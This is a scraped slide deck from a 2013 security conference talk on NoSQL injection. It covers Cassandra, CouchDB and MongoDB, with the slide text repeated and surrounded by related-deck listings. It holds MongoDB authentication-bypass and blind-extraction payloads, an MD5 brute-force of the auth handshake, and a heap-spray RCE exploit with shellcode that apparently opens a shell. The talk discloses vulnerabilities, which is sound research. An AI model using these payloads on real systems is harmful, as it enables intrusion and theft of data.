SlideShare a Scribd company logo
1 of 36
Download to read offline
No SQL injection but NoSQL Injection
NoSecurity or not ?
1
2
Plans
› What's/Why NoSQL ?
› Work in progress
› Cassandra
› CouchDB
› Mass pwnage...
3
NoSQL fashion way of life
› Database system
› ''Not only SQL''
› More simple
› Flexible Schema
› Easier scalability/replication
› No SQL language
› Young and hipster
4
NoSQL Hipsters
5
Cassandra
› Key-Value based
› Java
› HomeMade Protocol
› Port 9160
› SSL available
› Authentication available
› CQL
6
Cassandra › Let's find CQL injection
› Cassandra model
› Keyspace (=database)
› ColumnFamily (=table)
› Key with no fixed Columns
› OR 1=1 ?
7
Cassandra › WHERE CONDITION
› No OR
› No UNION
› No subrequests
› Term must be indexed
columns
8
To be continued...
9
CouchDB
› Documents based
› Erlang
› RESTfull protocol
› SSL available
› Port 5984
› Authentication available
› Javascript based
10
CouchDB - RESTfull
› Use HTTP protocol only
› GET, PUT, POST, DELETE...
› curl -X PUT http://localhost:5984/test/
› curl -X POST http://localhost:5984/test/ -H "Content-Type:
application/json" -d {name : 'value'}
› curl -X GET http://localhost:5984/test/_all_docs
› curl -X DELETE http://localhost:5984/test/
› CSRF ?
› SOP protected
11
CouchDB - Javascript
› JSON documents
› Special _design documents
› views
› shows
› lists
› validate_doc_update
› All in JS
› SSJI ?
12
CouchDB - SSJI
› No function rewriting
› No variable leak
› _design leak
curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/?
test=JSON.stringify(this.validate_doc_update)
"function(newDoc, oldDoc, userCtx) {
if(newDoc.auth!='secret') { throw('NO!'); }
}"
13
To be continued...
14
0day inside
15
mongoDB
› Documents based
› C/C++
› Home Made protocol
› SSL available
› Port 27017
› Authentication available
› Javascript based
16
mongoDB – Home Made Protocol
› Bson based
› Challenge response authentication
Nonce : e16fb6a8c31ac15a
User : agix
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
17
./src/mongo/client/dbclient.cpp
Nonce : e16fb6a8c31ac15a
User : agix
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
18
mongoDB – Home Made Protocol
key=md5(nonce+username+md5(username+':mongo :'+clearPassword))
Bruteforce !
md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4'
md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')=
e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key
md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810'
md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')=
'3f5c7a073c3fb54c96b860b7f397bfc7'==key
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
19
mongoDB – Associative Array
› Database
Collections
Documents
› Data manipulation with JSON array
› db.my_collection.insert({key_name:"value",my_array:[1,2,3],
my_assoc_array:{key1_name:"value",key2_name:"value"}})
› db.my_collection.find({key_name : "value"})
› Special KeyName : operator
20
mongoDB – operators
› Only on update and find query
› Conditions
› Comparison ($gt, $in, $ne...)
› Logical ($and, $or, $nor, $not)
› Element ($exists, $type, $mod)
› Javascript ($where, $regex)
›
› Data manipulation with JSON array
› db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})
21
mongoDB –
22
mongoDB –
› $_POST is an array
› login=test&pass=test => {'login' : 'test', 'pass' : 'test'}
› $_POST can be an associative array
› login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'},
'pass' : {'$ne' : 'test'}}
23
mongoDB –
› Authentication bypass
› Informations leak ?
› login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' :
'^a.*'}, 'pass' : {'$ne' : 'test'}}
› login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' :
'^a.*'}, 'pass' : {'$ne' : 'test'}}
24
mongoDB –
› $regex to get actual document leak
› More leak ?
› $WHERE !
› $where=1==1&login[$exists]=test&pass[$exists]=test
25
mongoDB – Blind true/false based
› db.getCollectionNames().length
› db.getCollectionNames()[0][0]
› tojson(db.secret.find({},{_id:0})[0])[3]
26
mongoDB – What else
› Check javascript methods on mongo website
› http://docs.mongodb.org/manual/reference/method/run/
› Let's check internal usage...
27
mongoDB – SSJI => RCE
function apply() {
[native code]
}
function () {
return nativeHelper.apply(run_, arguments);
}
run
nativeHelper.apply
28
./src/mongo/scripting/engine_spidermonkey.cpp
function apply() {
[native code]
}
function () {
return nativeHelper.apply(run_, arguments);
}
run
nativeHelper.apply
29
mongoDB – SSJI => RCE
$where=nativeHelper.apply({"x" : 0x31337},
[])&login[$exists]=test&pass[$exists]=test
30
mongoDB – Exploitation
› JAVASCRIPT SERVER SIDE EXPLOIT !
› Write reliable exploit
› 32 bits binary
› NX bypass
› ASLR bypass
› Not stack overflow
› No stack control
› EIP is not enough
31
mongoDB – Exploitation
db.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e
1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a
%ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f
%u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk="";
for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,
(sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; }
tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c
%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000");
sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++)
{ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-
tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; }
nativeHelper.apply({"x" : 0x836e204},
["A"+"x26x18x35x08"+"MongoSploit!"+"x58x71x45x08"+"sthack is a nice place to
be"+"x6cx5ax05x08"+"x20x20x20x20"+"x58x71x45x08"]);','login':{$exists:'toto'},'pass':
{$exists:'toto'}})
32
mongoDB – Exploitation
› Land to the stack
› PIVOT 1
› [Eax] => pointer+0xb => nativeHelper argument
› Gadget 1 : Mov eax, [eax] … call [eax+0x1c]
› nativeHelper argument is UTF8 encoded without null
byte
› eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret
› Esp-1 => begining of nativeHelper argument
› Gadget 3 : [inc esp] to clean stack control
33
mongoDB – Exploitation
› Control the stack
› UTF8 and no null byte in nativeHelper argument
› PIVOT 2 => to the rop chain heap sprayed
› Gadget 4 : pop eax, ... ret
› Eax => rop chain in the heap (0x20202020)
› Gadget 5 : xchg esp,eax … ret
› RetSled
› Stack control done !
34
mongoDB – Exploitation
› Execute shellcode
› First Heap Spray with nopsled+shellcode
› mmap RWX the heap
› Jump to the heap (0x0C0C0C0C)
› Enjoy !
35
mongoDB – Exploitation
› To improve
› Heap spray is for pork !
› 64 bits exploit... (null byte :o :o :o)
› Windows exploit
› Multiple version exploit
36
The end
› Still mongo 0day o/
› A lot of work to do...
› NoSQL is not so bad !

More Related Content

What's hot

Webinar slides: How to Secure MongoDB with ClusterControl
Webinar slides: How to Secure MongoDB with ClusterControlWebinar slides: How to Secure MongoDB with ClusterControl
Webinar slides: How to Secure MongoDB with ClusterControl
Severalnines
 
Оптимизация MySQL. Что должен знать каждый разработчик
Оптимизация MySQL. Что должен знать каждый разработчикОптимизация MySQL. Что должен знать каждый разработчик
Оптимизация MySQL. Что должен знать каждый разработчик
Agnislav Onufrijchuk
 
Controlling Arduino With PHP
Controlling Arduino With PHPControlling Arduino With PHP
Controlling Arduino With PHP
Thomas Weinert
 

What's hot (20)

It's 10pm: Do You Know Where Your Writes Are?
It's 10pm: Do You Know Where Your Writes Are?It's 10pm: Do You Know Where Your Writes Are?
It's 10pm: Do You Know Where Your Writes Are?
 
Using npm to Manage Your Projects for Fun and Profit - USEFUL INFO IN NOTES!
Using npm to Manage Your Projects for Fun and Profit - USEFUL INFO IN NOTES!Using npm to Manage Your Projects for Fun and Profit - USEFUL INFO IN NOTES!
Using npm to Manage Your Projects for Fun and Profit - USEFUL INFO IN NOTES!
 
Modern Getopt for Command Line Processing in Perl
Modern Getopt for Command Line Processing in PerlModern Getopt for Command Line Processing in Perl
Modern Getopt for Command Line Processing in Perl
 
Asynchronous PHP and Real-time Messaging
Asynchronous PHP and Real-time MessagingAsynchronous PHP and Real-time Messaging
Asynchronous PHP and Real-time Messaging
 
Best Practices in Handling Performance Issues
Best Practices in Handling Performance IssuesBest Practices in Handling Performance Issues
Best Practices in Handling Performance Issues
 
Concept of BlockChain & Decentralized Application
Concept of BlockChain & Decentralized ApplicationConcept of BlockChain & Decentralized Application
Concept of BlockChain & Decentralized Application
 
HTTP For the Good or the Bad - FSEC Edition
HTTP For the Good or the Bad - FSEC EditionHTTP For the Good or the Bad - FSEC Edition
HTTP For the Good or the Bad - FSEC Edition
 
Storing 16 Bytes at Scale
Storing 16 Bytes at ScaleStoring 16 Bytes at Scale
Storing 16 Bytes at Scale
 
Webinar slides: How to Secure MongoDB with ClusterControl
Webinar slides: How to Secure MongoDB with ClusterControlWebinar slides: How to Secure MongoDB with ClusterControl
Webinar slides: How to Secure MongoDB with ClusterControl
 
ROS2勉強会@別府 第7章Pythonクライアントライブラリrclpy
ROS2勉強会@別府 第7章PythonクライアントライブラリrclpyROS2勉強会@別府 第7章Pythonクライアントライブラリrclpy
ROS2勉強会@別府 第7章Pythonクライアントライブラリrclpy
 
Rails Deployment with NginX
Rails Deployment with NginXRails Deployment with NginX
Rails Deployment with NginX
 
Metis - RubyConf 2011 Lightning Talk
Metis - RubyConf 2011 Lightning TalkMetis - RubyConf 2011 Lightning Talk
Metis - RubyConf 2011 Lightning Talk
 
Tokyo APAC Groundbreakers tour - The Complete Java Developer
Tokyo APAC Groundbreakers tour - The Complete Java DeveloperTokyo APAC Groundbreakers tour - The Complete Java Developer
Tokyo APAC Groundbreakers tour - The Complete Java Developer
 
Оптимизация MySQL. Что должен знать каждый разработчик
Оптимизация MySQL. Что должен знать каждый разработчикОптимизация MySQL. Что должен знать каждый разработчик
Оптимизация MySQL. Что должен знать каждый разработчик
 
SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon
 SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon
SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon
 
Fluent plugin-dstat
Fluent plugin-dstatFluent plugin-dstat
Fluent plugin-dstat
 
"Auth for React.js APP", Nikita Galkin
"Auth for React.js APP", Nikita Galkin"Auth for React.js APP", Nikita Galkin
"Auth for React.js APP", Nikita Galkin
 
Controlling Arduino With PHP
Controlling Arduino With PHPControlling Arduino With PHP
Controlling Arduino With PHP
 
MySQL::NameLocker
MySQL::NameLockerMySQL::NameLocker
MySQL::NameLocker
 
5 issues
5 issues5 issues
5 issues
 

Similar to StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

marko_go_in_badoo
marko_go_in_badoomarko_go_in_badoo
marko_go_in_badoo
Marko Kevac
 
Varnish @ Velocity Ignite
Varnish @ Velocity IgniteVarnish @ Velocity Ignite
Varnish @ Velocity Ignite
Artur Bergman
 
Profiling of Oracle Function Calls
Profiling of Oracle Function CallsProfiling of Oracle Function Calls
Profiling of Oracle Function Calls
Enkitec
 
Csw2016 wheeler barksdale-gruskovnjak-execute_mypacket
Csw2016 wheeler barksdale-gruskovnjak-execute_mypacketCsw2016 wheeler barksdale-gruskovnjak-execute_mypacket
Csw2016 wheeler barksdale-gruskovnjak-execute_mypacket
CanSecWest
 

Similar to StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection (20)

marko_go_in_badoo
marko_go_in_badoomarko_go_in_badoo
marko_go_in_badoo
 
Доклад Антона Поварова "Go in Badoo" с Golang Meetup
Доклад Антона Поварова "Go in Badoo" с Golang MeetupДоклад Антона Поварова "Go in Badoo" с Golang Meetup
Доклад Антона Поварова "Go in Badoo" с Golang Meetup
 
Mysql handle socket
Mysql handle socketMysql handle socket
Mysql handle socket
 
MongoDB Chunks - Distribution, Splitting, and Merging
MongoDB Chunks - Distribution, Splitting, and MergingMongoDB Chunks - Distribution, Splitting, and Merging
MongoDB Chunks - Distribution, Splitting, and Merging
 
Troubleshooting tips and tricks for Oracle Database Oct 2020
Troubleshooting tips and tricks for Oracle Database Oct 2020Troubleshooting tips and tricks for Oracle Database Oct 2020
Troubleshooting tips and tricks for Oracle Database Oct 2020
 
Varnish @ Velocity Ignite
Varnish @ Velocity IgniteVarnish @ Velocity Ignite
Varnish @ Velocity Ignite
 
The Ring programming language version 1.7 book - Part 33 of 196
The Ring programming language version 1.7 book - Part 33 of 196The Ring programming language version 1.7 book - Part 33 of 196
The Ring programming language version 1.7 book - Part 33 of 196
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande Modem
 
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
 
Mongodb debugging-performance-problems
Mongodb debugging-performance-problemsMongodb debugging-performance-problems
Mongodb debugging-performance-problems
 
0 to 31337 Real Quick: Lessons Learned by Reversing the Flare-On Challenge
0 to 31337 Real Quick: Lessons Learned by Reversing the Flare-On Challenge0 to 31337 Real Quick: Lessons Learned by Reversing the Flare-On Challenge
0 to 31337 Real Quick: Lessons Learned by Reversing the Flare-On Challenge
 
Профилирование и оптимизация производительности Ruby-кода
Профилирование и оптимизация производительности Ruby-кодаПрофилирование и оптимизация производительности Ruby-кода
Профилирование и оптимизация производительности Ruby-кода
 
Profiling of Oracle Function Calls
Profiling of Oracle Function CallsProfiling of Oracle Function Calls
Profiling of Oracle Function Calls
 
Nodejs性能分析优化和分布式设计探讨
Nodejs性能分析优化和分布式设计探讨Nodejs性能分析优化和分布式设计探讨
Nodejs性能分析优化和分布式设计探讨
 
MongoDB Days Silicon Valley: MongoDB and the Hadoop Connector
MongoDB Days Silicon Valley: MongoDB and the Hadoop ConnectorMongoDB Days Silicon Valley: MongoDB and the Hadoop Connector
MongoDB Days Silicon Valley: MongoDB and the Hadoop Connector
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
 
Csw2016 wheeler barksdale-gruskovnjak-execute_mypacket
Csw2016 wheeler barksdale-gruskovnjak-execute_mypacketCsw2016 wheeler barksdale-gruskovnjak-execute_mypacket
Csw2016 wheeler barksdale-gruskovnjak-execute_mypacket
 
GC Tuning & Troubleshooting Crash Course
GC Tuning & Troubleshooting Crash CourseGC Tuning & Troubleshooting Crash Course
GC Tuning & Troubleshooting Crash Course
 
CSS parsing: performance tips & tricks
CSS parsing: performance tips & tricksCSS parsing: performance tips & tricks
CSS parsing: performance tips & tricks
 

More from StHack

More from StHack (11)

Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"
Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"
Sthack 2015 - Ramon Vicens & Victor Acin - Cyber threats "the reality"
 
Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cash
Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cashSthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cash
Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cash
 
Sthack 2015 - Wilfrid "@WilfridBlanc" Blanc & Adrien Revol - Cybersécurité In...
Sthack 2015 - Wilfrid "@WilfridBlanc" Blanc & Adrien Revol - Cybersécurité In...Sthack 2015 - Wilfrid "@WilfridBlanc" Blanc & Adrien Revol - Cybersécurité In...
Sthack 2015 - Wilfrid "@WilfridBlanc" Blanc & Adrien Revol - Cybersécurité In...
 
Sthack 2015 - Aris "@aris_ada" Adamantiadis - DUAL_EC_DRBG : Une histoire de ...
Sthack 2015 - Aris "@aris_ada" Adamantiadis - DUAL_EC_DRBG : Une histoire de ...Sthack 2015 - Aris "@aris_ada" Adamantiadis - DUAL_EC_DRBG : Une histoire de ...
Sthack 2015 - Aris "@aris_ada" Adamantiadis - DUAL_EC_DRBG : Une histoire de ...
 
Sthack 2015 - Jonathan "@JonathanSalwan" Salwan - Dynamic Behavior Analysis U...
Sthack 2015 - Jonathan "@JonathanSalwan" Salwan - Dynamic Behavior Analysis U...Sthack 2015 - Jonathan "@JonathanSalwan" Salwan - Dynamic Behavior Analysis U...
Sthack 2015 - Jonathan "@JonathanSalwan" Salwan - Dynamic Behavior Analysis U...
 
Sthack 2015 - Renaud "@nono2357" Lifchitz - Quantum computing in practice
Sthack 2015 - Renaud "@nono2357" Lifchitz - Quantum computing in practiceSthack 2015 - Renaud "@nono2357" Lifchitz - Quantum computing in practice
Sthack 2015 - Renaud "@nono2357" Lifchitz - Quantum computing in practice
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
 
StHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coin
StHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coinStHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coin
StHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coin
 
StHack 2014 - Benjamin "@gentilkiwi" Delpy Mimikatz
StHack 2014 - Benjamin "@gentilkiwi" Delpy MimikatzStHack 2014 - Benjamin "@gentilkiwi" Delpy Mimikatz
StHack 2014 - Benjamin "@gentilkiwi" Delpy Mimikatz
 
StHack 2014 - Jerome "@funoverip" Nokin Turning your managed av into my botnet
StHack 2014 - Jerome "@funoverip" Nokin  Turning your managed av into my botnetStHack 2014 - Jerome "@funoverip" Nokin  Turning your managed av into my botnet
StHack 2014 - Jerome "@funoverip" Nokin Turning your managed av into my botnet
 
StHack 2014 - Ninon Eyrolles Obfuscation 101
StHack 2014 - Ninon Eyrolles Obfuscation 101StHack 2014 - Ninon Eyrolles Obfuscation 101
StHack 2014 - Ninon Eyrolles Obfuscation 101
 

Recently uploaded

EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
Earley Information Science
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
giselly40
 

Recently uploaded (20)

Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 

StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

  • 1. No SQL injection but NoSQL Injection NoSecurity or not ? 1
  • 2. 2 Plans › What's/Why NoSQL ? › Work in progress › Cassandra › CouchDB › Mass pwnage...
  • 3. 3 NoSQL fashion way of life › Database system › ''Not only SQL'' › More simple › Flexible Schema › Easier scalability/replication › No SQL language › Young and hipster
  • 5. 5 Cassandra › Key-Value based › Java › HomeMade Protocol › Port 9160 › SSL available › Authentication available › CQL
  • 6. 6 Cassandra › Let's find CQL injection › Cassandra model › Keyspace (=database) › ColumnFamily (=table) › Key with no fixed Columns › OR 1=1 ?
  • 7. 7 Cassandra › WHERE CONDITION › No OR › No UNION › No subrequests › Term must be indexed columns
  • 9. 9 CouchDB › Documents based › Erlang › RESTfull protocol › SSL available › Port 5984 › Authentication available › Javascript based
  • 10. 10 CouchDB - RESTfull › Use HTTP protocol only › GET, PUT, POST, DELETE... › curl -X PUT http://localhost:5984/test/ › curl -X POST http://localhost:5984/test/ -H "Content-Type: application/json" -d {name : 'value'} › curl -X GET http://localhost:5984/test/_all_docs › curl -X DELETE http://localhost:5984/test/ › CSRF ? › SOP protected
  • 11. 11 CouchDB - Javascript › JSON documents › Special _design documents › views › shows › lists › validate_doc_update › All in JS › SSJI ?
  • 12. 12 CouchDB - SSJI › No function rewriting › No variable leak › _design leak curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/? test=JSON.stringify(this.validate_doc_update) "function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"
  • 15. 15 mongoDB › Documents based › C/C++ › Home Made protocol › SSL available › Port 27017 › Authentication available › Javascript based
  • 16. 16 mongoDB – Home Made Protocol › Bson based › Challenge response authentication Nonce : e16fb6a8c31ac15a User : agix Key : 3f5c7a073c3fb54c96b860b7f397bfc7
  • 17. 17 ./src/mongo/client/dbclient.cpp Nonce : e16fb6a8c31ac15a User : agix Key : 3f5c7a073c3fb54c96b860b7f397bfc7
  • 18. 18 mongoDB – Home Made Protocol key=md5(nonce+username+md5(username+':mongo :'+clearPassword)) Bruteforce ! md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4' md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')= e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810' md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')= '3f5c7a073c3fb54c96b860b7f397bfc7'==key Key : 3f5c7a073c3fb54c96b860b7f397bfc7
  • 19. 19 mongoDB – Associative Array › Database Collections Documents › Data manipulation with JSON array › db.my_collection.insert({key_name:"value",my_array:[1,2,3], my_assoc_array:{key1_name:"value",key2_name:"value"}}) › db.my_collection.find({key_name : "value"}) › Special KeyName : operator
  • 20. 20 mongoDB – operators › Only on update and find query › Conditions › Comparison ($gt, $in, $ne...) › Logical ($and, $or, $nor, $not) › Element ($exists, $type, $mod) › Javascript ($where, $regex) › › Data manipulation with JSON array › db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})
  • 22. 22 mongoDB – › $_POST is an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'} › $_POST can be an associative array › login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'}, 'pass' : {'$ne' : 'test'}}
  • 23. 23 mongoDB – › Authentication bypass › Informations leak ? › login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' : '^a.*'}, 'pass' : {'$ne' : 'test'}} › login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' : '^a.*'}, 'pass' : {'$ne' : 'test'}}
  • 24. 24 mongoDB – › $regex to get actual document leak › More leak ? › $WHERE ! › $where=1==1&login[$exists]=test&pass[$exists]=test
  • 25. 25 mongoDB – Blind true/false based › db.getCollectionNames().length › db.getCollectionNames()[0][0] › tojson(db.secret.find({},{_id:0})[0])[3]
  • 26. 26 mongoDB – What else › Check javascript methods on mongo website › http://docs.mongodb.org/manual/reference/method/run/ › Let's check internal usage...
  • 27. 27 mongoDB – SSJI => RCE function apply() { [native code] } function () { return nativeHelper.apply(run_, arguments); } run nativeHelper.apply
  • 28. 28 ./src/mongo/scripting/engine_spidermonkey.cpp function apply() { [native code] } function () { return nativeHelper.apply(run_, arguments); } run nativeHelper.apply
  • 29. 29 mongoDB – SSJI => RCE $where=nativeHelper.apply({"x" : 0x31337}, [])&login[$exists]=test&pass[$exists]=test
  • 30. 30 mongoDB – Exploitation › JAVASCRIPT SERVER SIDE EXPLOIT ! › Write reliable exploit › 32 bits binary › NX bypass › ASLR bypass › Not stack overflow › No stack control › EIP is not enough
  • 31. 31 mongoDB – Exploitation db.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e 1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a %ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f %u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0, (sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c %u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++) { chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2- tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"x26x18x35x08"+"MongoSploit!"+"x58x71x45x08"+"sthack is a nice place to 